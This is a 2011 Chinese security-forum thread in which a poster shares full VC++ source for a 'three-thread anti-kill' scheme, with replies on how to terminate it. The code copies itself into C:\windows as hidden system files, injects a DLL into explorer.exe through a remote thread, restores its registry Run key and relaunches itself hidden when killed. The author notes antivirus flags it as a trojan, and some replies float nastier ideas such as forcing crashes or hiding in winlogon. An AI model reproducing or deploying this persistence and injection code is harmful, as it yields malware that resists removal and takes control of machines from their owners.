首页
社区
课程
招聘
[推荐]关于三线程防杀的一些思想和VC代码
发表于: 2011-3-29 16:38 30934

[推荐]关于三线程防杀的一些思想和VC代码

2011-3-29 16:38
30934
[CODE][CODE]
[/CODE][/CODE][前言]
无意中在网上看到了一个帖子关于三线程的问题,我觉得其思路十分巧妙,加之我学HOOK技术也有一段时间了,于是就想看看到底是怎么实现的,那帖子说的不十分清楚,说有源码的,在网上搜确实有源码存在,但是下载都要先注册,然后还有什么下载豆啊,什么的,反正就是不让你下.注册了几个号,都下载不了.在看雪上面搜了一下,倒是有一篇文章是关于三线程的,不过时Dephi写的,我没学Dephi,也就没有看他的文章.
文章地址:http://bbs.pediy.com/showthread.php?t=42594&highlight=%E4%B8%89%E7%BA%BF+%E7%BA%BF%E7%A8%8B+%E7%A8%8B
想着自己编程也这么久了,索性自己来写,于是就写了这篇文章出来,算是整理一下这些天的思路了吧!
[原作者思路思路很巧妙,我很佩服]

我们有一个主进程Main.exe 和一个DLL文件 KernelSoft.DLL,  Main.exe启动的时候,会查看C:\\windows\\下面有没有我们的2个文件,如果没有就复制当前文件夹的文件过去,并设置为系统文件并隐藏,我们会查找我们注入的进程中有没有KernelSoft.dll,如果没有,那么表示我是第一次启动Main.exe,  我们注入KernelSoft..然后会创建一个线程Watch 监视注册表和远程线程..

Kernelsoft.dll 只做一件事,就是创建1个线程监视我们的Main.exe是否还存在于进程中,如果不存在,那么就启动Main.exe,实现防杀的功能,我们把DLL注入到Explorer.exe中,当然你也可以注入到几个进程中,或者注入到别的进程中,我这里只是演示,  文章中有些地方是直接硬编码的,方便一些,当然这些地方你都可以很容易的看到,并且修改,以便兼容你的电脑.

Watch线程监视我们的开机启动项,如果该项被删除掉,它会立即重新写入注册表.并且如果你发现我们的Main.exe注入到explorer.exe后,你试图关闭explorer.exe,  那我会告诉你,关闭后,当explorer.exe再次出现的时候,我们的程序还是会注入到explorer.exe中的.
下面给源码吧:
我的注释还算比较详细的,尽量让大家都很容易的明白我在做什么.

先给3个函数:
在SourseHead.h中定义的


#include <Tlhelp32.h>
//提权
bool EnablePrivilege(char*PrivilegeName,BOOL IsEnable)

{	
	HANDLE hToken;
	
	TOKEN_PRIVILEGES tp;
	
	LUID luid;	
	
	if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |
		
		TOKEN_QUERY | TOKEN_READ,&hToken))
		
	{
		
		return false;
		
	}
		
	if(!LookupPrivilegeValue(NULL, PrivilegeName, &luid))
		
	{
		
		return false;
		
	}
		
	tp.PrivilegeCount           = 1;
	
	tp.Privileges[0].Luid       = luid;
	
	tp.Privileges[0].Attributes = (IsEnable) ? SE_PRIVILEGE_ENABLED : 0;	
	
	BOOL bSucc = AdjustTokenPrivileges(hToken,FALSE,&tp,NULL,NULL,NULL);	
	
	CloseHandle(hToken);
	
	return (GetLastError() == ERROR_SUCCESS);
	
}



//获取PID值
BOOL GetProcessIdByName(LPSTR szProcessName,LPDWORD lpPID)//PID是我们要传出去的指针变量
{
  //变量及初始化
  STARTUPINFO st;
  PROCESS_INFORMATION pi;
  PROCESSENTRY32 ps;
  HANDLE hSnapshot;
  ZeroMemory(&st,sizeof(STARTUPINFO));
  ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));
  st.cb = sizeof(STARTUPINFO);
  ZeroMemory(&ps,sizeof(PROCESSENTRY32));
  ps.dwSize = sizeof(PROCESSENTRY32);
  //遍历进程
  hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  if (hSnapshot == INVALID_HANDLE_VALUE)
  {
    return FALSE;
  }
  if (!Process32First(hSnapshot,&ps))
  {
    return FALSE;
  }

  do 
  {
    //比较进程名
    if (lstrcmpi(ps.szExeFile,szProcessName) == 0) 
    {
      //找到了
      *lpPID = ps.th32ProcessID;
      CloseHandle(hSnapshot);
      return TRUE;
    }
  } while (Process32Next(hSnapshot,&ps));
  //没有找到
  CloseHandle(hSnapshot);
  return FALSE;
}




//注入函数
//pid  我们的目标PID
//szMyDll  我们需要注入的DLL
HANDLE InjeckDll(DWORD pid,CString szMyDll)
{
	EnablePrivilege(SE_DEBUG_NAME,true);
	HANDLE hand = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
	LPVOID Address = NULL;
	PSTR pszLibFileRemote  =(PSTR)VirtualAllocEx(hand,NULL,szMyDll.GetLength()+1,MEM_COMMIT,PAGE_READWRITE);
	::WriteProcessMemory(hand,pszLibFileRemote,szMyDll.GetBuffer(0),szMyDll.GetLength()+1,NULL);
	HMODULE hmod  = ::GetModuleHandle("Kernel32");
	szMyDll.ReleaseBuffer();
	PTHREAD_START_ROUTINE point  = (PTHREAD_START_ROUTINE)::GetProcAddress(hmod,"LoadLibraryA");

	//创建远程线程执行LoadLibraryA 注入我们自己的DLL文件
	HANDLE handr  = CreateRemoteThread(hand,NULL,0,point,(LPVOID)pszLibFileRemote,0,NULL);
	WaitForSingleObject(handr,INFINITE);
	
	EnablePrivilege(SE_DEBUG_NAME,false);//还原权限
	return handr;

}


这3个函数想必大家都还是比较傲熟悉的,我就不多说了,如果有不懂的也可以Email问我,

Email:181809575@qq.com

Peidy_liuqiangni

中间插点版权小广告好像是NBW 首创的,小弟只是算沿用了一下,呵呵


我定义了几个宏 后面会用到,大家先看看
//宏定义 部分字符串
#define  DesName "explorer.exe"
#define  DesMainName "C:\\windows\\Main.exe"
#define  DesDllName "C:\\windows\\KernelSoft.dll"
/////////////////////////////////////////////////

下面给出 Watch线程

BOOL Watch(LPVOID pvparam)//这个参数没有什么用,是我刚开始的时候加的,就没有删掉
{
	HANDLE    wethread=(HANDLE)pvparam;
	HKEY              hkey;
	TCHAR             wtname[MAX_PATH] = "C:\\windows\\Main.exe";//这个是写入注册表的路径
	TCHAR             lpdata[MAX_PATH];  
	LPCTSTR           rgspath=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
	DWORD             type=REG_SZ;
	DWORD             dwbuflen=MAX_PATH;  
	int               ret;

	while(1)
	{   
		ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_QUERY_VALUE,&hkey);//打开注册表
		if(ret!=ERROR_SUCCESS)
		{
			OutputDebugString(_T("RegOpenKeyEx for KEY_QUERY_VALUE Error\n"));//调试信息不用管
			break;
		}
		ret=RegQueryValueEx(hkey,"Main.exe",NULL,NULL,(LPBYTE)lpdata,&dwbuflen);//查找有没有Main.exe
		RegCloseKey(hkey);
		if(ret!=ERROR_SUCCESS)
		{
			ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_WRITE,&hkey);
			if(ret!=ERROR_SUCCESS)
			{
				OutputDebugString(_T("RegOpenKeyEx for KEY_WRITE Error\n"));
				break;
			}
			//如果没有就重新写入我们的Main.exe
			ret=RegSetValueEx(hkey,"Main.exe",NULL,type,(const byte *)wtname,dwbuflen);
			RegCloseKey(hkey);
			if(ret!=ERROR_SUCCESS)
			{
				OutputDebugString(_T("RegSetValueEx Error\n"));
				break;
			}
		}
	
		
			//下面的代码表示如果explorer.exe中没有我们的模块,我们重新注入
			DWORD pid =0;
			GetProcessIdByName("explorer.exe",&pid);//我们选择注入Explorer.exe
			HANDLE DesProcess = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
			if (!EnumMoudle(DesProcess,"KernelSoft.dll"))//自定义函数,查找模块
			{
				InjeckDll(pid,DesDllName);//自定义函数,注入
			}
				

	
		Sleep(1000);	
	}
	return 0;
	

}


下面给出设置文件属性并复制文件的函数:(注释也很清楚了)
//在Windows下寻找我自己的模块,找不到就复制我自己的模块过去
/*
LookFileName[]    Windows下的模块C:\\windows\\Main.exe
name[]		将要复制到C盘的模块的地址,就是当前文件夹的路径

*/
void SetFile(char LookFileName[],char name[])
{
	BOOL sign = FALSE;  //是否找到我需要的文件
	CFileFind ff;
	BOOL work = ff.FindFile("C:\\windows\\");//查找的文件路径,我是硬编码的
	while(work)
	{
		work = ff.FindNextFile();
		CString filepath = ff.GetFilePath();//得到文件的完整路径
		CString MainName;
		MainName.Format("%s",LookFileName);
		if (filepath == MainName)
		{
			sign = TRUE;
			break;
		}
	
	}
	ff.Close();
	if (!sign)//如果没找到,那么复制我自己的文件过去
	{
		
		CopyFile(name,LookFileName,FALSE);//把文件复制到C:\\windows下
		//设置文件属性
		SetFileAttributes(LookFileName,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY);
		
	}
	
	

}


上面的查找文件的代码在我写U盘偷窥者的时候也有用到,不过那个比这个复杂,不是很清楚的同学可以看看我以前的文章
U盘偷窥者的地址:  http://bbs.pediy.com/showthread.php?t=127663

下面给出遍历模块的函数:
这次我没有用CreateToolhelp32Snapshot,因为那个用过很多次了,要有新的尝试才会进步嘛
所以我用了两个我不是很熟习的函数EnumProcessModules和GetModuleBaseName
大家不懂的可以上Google 或Msdn上面查查.
注意:这几个函数要#pragma   comment(lib,"Psapi.lib") 还要有头文件

#include <Psapi.h>



//遍历模块
BOOL EnumMoudle(HANDLE DesProcess,char MoudleName[])
{
	HMODULE hmod[MAX_PATH];
	DWORD dwMod;
	char BaseName[MAX_PATH];
	EnumProcessModules(DesProcess,hmod,sizeof(hmod),&dwMod);
	for (int i = 0;hmod[i]!=0;i++)
	{
		GetModuleBaseName(DesProcess,hmod[i],BaseName,MAX_PATH);
		if(stricmp(MoudleName,BaseName)==0)
			return TRUE;
	}
	return FALSE;
}


现在给出主要的函数,他调用这一切的子函数....

void InitiaMain()     //相当于初始化工作,我们后面的函数都是在这里面调用的
{
	HANDLE g_Hthread;
	
	DWORD idthread;
	DWORD pid =0;
	char MainPath[MAX_PATH];
	char DLLPath[MAX_PATH];
	//复制我们的2个文件到C:\\windows\\下面
	GetModuleFileName(NULL,MainPath,MAX_PATH);
	SetFile(DesMainName,MainPath);
	GetCurrentDirectory(MAX_PATH,DLLPath);
	strcat(DLLPath,"\\KernelSoft.dll");
	SetFile(DesDllName,DLLPath);

	GetProcessIdByName("explorer.exe",&pid);//我们选择注入Explorer.exe
	HANDLE DesProcess = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
	if (!EnumMoudle(DesProcess,"KernelSoft.dll"))
	{//如果我们的模块不存在目标进程中,那么重新注入
		g_Hthread=InjeckDll(pid,DesDllName);
	
	}
	//创建监视线程Watch
	HANDLE wehand = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Watch,(LPVOID)g_Hthread,0,&idthread);
}



下面我们来看我们的 kernelSoft.dll模块的代码
//KernelSoft.cpp
//这里注释得还算清楚

#include "stdafx.h"
#include <Tlhelp32.h>



//***********************
//全局数据区
HMODULE g_hmod = NULL;
DWORD g_idthread;
//***********************
//函数区
void WatchMainProcess();
BOOL FindMainProcess(LPSTR szProcessName);
//***********************
//我们的主函数
BOOL APIENTRY DllMain( HMODULE hMod,
		      DWORD  ul_reason_for_call,
		      LPVOID lpReserved
		      )
{
	if( DLL_PROCESS_ATTACH == ul_reason_for_call )
	{
		g_hmod = hMod;
		HANDLE hand  = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WatchMainProcess,(LPVOID)NULL,0,&g_idthread);

	}
	else if( DLL_PROCESS_DETACH == ul_reason_for_call )
	{

	}

	
	return TRUE;
}

void WatchMainProcess()
{

	while (1)
	{
	if (!FindMainProcess("Main.exe"))//我们的主线程是Main.exe
	{
		WinExec("C:\\Windows\\Main.exe",SW_HIDE);

	}
	Sleep(500);	
	}

}

BOOL FindMainProcess(LPSTR szProcessName)
{
	//变量及初始化
	STARTUPINFO st;
	PROCESS_INFORMATION pi;
	PROCESSENTRY32 ps;
	HANDLE hSnapshot;
	ZeroMemory(&st,sizeof(STARTUPINFO));
	ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));
	st.cb = sizeof(STARTUPINFO);
	ZeroMemory(&ps,sizeof(PROCESSENTRY32));
	ps.dwSize = sizeof(PROCESSENTRY32);
	//遍历进程
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
	{
		return FALSE;
	}
	if (!Process32First(hSnapshot,&ps))
	{
		return FALSE;
	}
	
	do 
	{
		//比较进程名
		if (lstrcmpi(ps.szExeFile,szProcessName) == 0)  //查找我们的进程,如果没有就启动主进程
		{
			//找到了
			CloseHandle(hSnapshot);
			return TRUE;
		}
	} while (Process32Next(hSnapshot,&ps));
	//没有找到	
	CloseHandle(hSnapshot);
	return FALSE;
}




这样我们的三线程防杀就完成了,写了一下午,手都写麻了,大家看了,就给点评价吧.

因为本代码有病毒或者木马的一些特征,杀毒软件肯定会报毒.本软件没有实质性的功能,只是作为一种思路的交流.
声明:  本代码仅作为技术交流,请勿用于非法用途,因为本代码造成的任何后果,作者不承担任何责任,如果你不同意,请不要使用本代码,谢谢.


附件在后面,也有详细的注释...

[课程]FART 脱壳王!加量不加价!FART作者讲授!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (60)
雪    币: 94
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
没实用性,要是直接把main.exe干掉了,什么都没了,还不如ssdt hook来的实在
2011-3-29 16:51
0
雪    币: 69
活跃值: (157)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
3
你可以干掉试试,等下我传附件上来
2011-3-29 16:54
0
雪    币: 596
活跃值: (449)
能力值: ( LV12,RANK:320 )
在线值:
发帖
回帖
粉丝
4
考虑下自己杀自己的情况吧..自己不能杀自己,岂不是恶意程序了
2011-3-29 17:19
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
5
三线程什么的,是上个世纪的玩意儿了吧。。。
2011-3-29 18:01
0
雪    币: 69
活跃值: (157)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
6
技术不在乎年月,大学学的东西,哪个不是几百年前的东西,是吧.写这篇文章只我是觉得这个思路很好,至少我这样认为的.可能高手觉得这个很简单,但是有很多人还不是高手
2011-3-29 18:09
0
雪    币: 1981
活跃值: (771)
能力值: ( LV13,RANK:420 )
在线值:
发帖
回帖
粉丝
7
貌似只是  kernelsoft保护 main ,然后wath 保护 kernelsoft.

先咔嚓掉watch然后咔嚓掉kernelsoft然后咔嚓掉main
2011-3-29 18:32
0
雪    币: 656
活跃值: (448)
能力值: ( LV12,RANK:360 )
在线值:
发帖
回帖
粉丝
8
先禁止线程创建 然后...一个个杀...
2011-3-29 18:40
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
9
XueTr很强大,拿来对付这个玩下~~
2011-3-29 18:43
0
雪    币: 656
活跃值: (448)
能力值: ( LV12,RANK:360 )
在线值:
发帖
回帖
粉丝
10
看了下 好牛X啊..求杀掉方法
2011-3-29 18:48
0
雪    币: 656
活跃值: (448)
能力值: ( LV12,RANK:360 )
在线值:
发帖
回帖
粉丝
11
无奈之下,结束了explorer.exe
2011-3-29 19:01
0
雪    币: 242
活跃值: (418)
能力值: ( LV11,RANK:188 )
在线值:
发帖
回帖
粉丝
12
taskkill /f /im  "explorer.exe"
taskkill /f /im  "main.exe"
del "c:\windows\system32\main.exe"
del "c:\windows\system32\KernelSoft.DLL"

这样行不行呢?

我倒觉得现在利用第三方厂商的带签名文件启动固定路径的PE、加载固定名称的DLL来变相启动进程的法子会很麻烦
2011-3-29 19:44
0
雪    币: 69
活跃值: (157)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
13
这样肯定行啊,我这只相当于是举了一个例子,抛砖引玉嘛,大家集思广益当然方法更强咯
2011-3-29 20:00
0
雪    币: 69
活跃值: (157)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
14
我要是不注入explorer,我注入windows下任何一个关键的进程,那么你终止进程就相当于强行终止系统了,呵呵..
2011-3-29 20:03
0
雪    币: 364
活跃值: (91)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
15
做了两个实验想干掉LZ的线程,两个都成功了。
第一个实验 是手快一点,同时干掉Main.exe和explorer.exe。出现的现象是explorer.exe还能出来,但是Main.exe线程起不来了。
第二个实验  是用System Safety Monitor (SSM) 用规则不让explorer.exe和Main.exe起来后,慢慢杀掉Main.exe和explorer.exe线程。删除C:\windows\ 下的Main.exe

如果注入windows下关键的进程

假设explorer.exe不能干掉
第三个实验  是用System Safety Monitor (SSM) 用规则不让Main.exe起来后,慢慢杀掉Main.exe线程。删除C:\windows\ 下的Main.exe
也OK了。
2011-3-29 20:16
0
雪    币: 596
活跃值: (449)
能力值: ( LV12,RANK:320 )
在线值:
发帖
回帖
粉丝
16
XueTr 秒杀之
2011-3-29 20:19
0
雪    币: 69
活跃值: (157)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
17
我现在觉得,写这样的代码就该写的绝一点,一动就让你蓝屏或者重启,那样就没这么容易搞定了,呵呵,不该弄这么简单的,简直是献丑嘛

你一下弄死2个线程,你的手真快,呵呵,注入的时候360会提示,这一点很容易暴露
2011-3-29 20:43
0
雪    币: 364
活跃值: (91)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
18
说“同时”有点用词不当 但是确实是手动关掉了,用时间差杀掉了Main.exe线程。Main.exe线程不知啥原因起不来了,这个时候C:\windows\下的Main.exe 可以删除了 说明它没起来了。
谢谢LZ的思路还有源码。可以一起讨论如何改进下。
2011-3-29 20:56
0
雪    币: 54
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
学习了,还是支持源码的交流的,谢谢楼主
2011-3-29 21:19
0
雪    币: 364
活跃值: (91)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
20
在看雪看了半天贴子了,有点累了,准备休息了,明天还要上班。最后补充一下:其实还有种方法不用任何辅助软件,能在3到5秒内(关键操作时间更短些),干掉Main.exe。
2011-3-29 22:11
0
雪    币: 69
活跃值: (157)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
21
其实同时干掉2个进程也不难,写个批处理,taskkill 就OK了,关键如果你不知道它到底注入的是哪个进程,就有点麻烦了,是吧
2011-3-29 22:35
0
雪    币: 69
活跃值: (157)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
22
很奇怪,我刚开始调试的时候,360还只是说注入explorer.exe进程,现在一运行直接说是木马,更新真快,直接杀掉了
2011-3-29 22:45
0
雪    币: 17
活跃值: (308)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
23
[QUOTE=liuqiangni;941802][前言]
无意中在网上看到了一个帖子关于三线程的问题,我觉得其思路十分巧妙,加之我学HOOK技术也有一段时间了,于是就想看看到底是怎么实现的,那帖子说的不十分清楚,说有源码的,在网上搜确实有源码存在,但是下载都要先注册,然后还有什么下载豆啊,什么的,反正就是不让你下.注册了几个号,都下载不了.在...[/QUOTE]

这几种效率太差了。
做2个程序,互相监控,一个挂了,另一个拉起。

用互斥量。
2011-3-29 23:24
0
雪    币: 1050
活跃值: (1208)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
的确是很旧的东西了……要这样玩的话不如注入winlogon然后教主有个隐藏DLL的东东,不过要进R0,还是直接在R3脱链吧……隐藏之,最后修改startaddress欺骗一下……DLL随便挂钩winlogon一些常用的地方,强制卸载进程就挂了然后系统也挂了……其实直接用main.exe调试入侵winlogon也一样……终止main winlogon也会跟着挂……
2011-3-29 23:26
0
雪    币: 170
活跃值: (90)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
25
鼓励一下吧。共享就是好同志啊。
2011-3-30 00:02
0
游客
登录 | 注册 方可回帖
返回
//